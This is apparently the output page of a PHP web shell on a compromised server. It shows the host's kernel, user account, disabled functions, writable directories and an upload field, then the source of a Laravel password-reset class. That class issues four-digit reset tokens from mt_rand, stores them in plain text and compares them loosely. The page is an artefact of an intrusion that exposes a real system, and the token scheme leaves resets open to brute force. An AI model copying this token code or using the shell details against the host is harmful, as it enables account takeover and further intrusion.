Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/medad.corals.io/Corals/core/Foundation/Classes/Password/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/medad.corals.io/Corals/core/Foundation/Classes/Password/DatabaseTokenRepository.php
<?php


namespace Corals\Foundation\Classes\Password;

use Illuminate\Auth\Passwords\DatabaseTokenRepository as DatabaseTokenRepositoryBase;
use Illuminate\Contracts\Auth\CanResetPassword as CanResetPasswordContract;

class DatabaseTokenRepository extends DatabaseTokenRepositoryBase
{
    /**
     * @return int|string
     */
    public function createNewToken()
    {
        return mt_rand(1111, 9999);
    }

    /**
     * @param string $email
     * @param string $token
     * @return array|string[]
     */
    protected function getPayload($email, $token)
    {
        $payload = parent::getPayload($email, $token);

        return array_merge($payload, [
            'token' => $token
        ]);
    }

    public function exists(CanResetPasswordContract $user, $token)
    {
        $record = (array)$this->getTable()->where(
            'email', $user->getEmailForPasswordReset()
        )->first();

        return $record &&
            !$this->tokenExpired($record['created_at']) &&
            $token == $record['token'];
    }
}

Spamworldpro Mini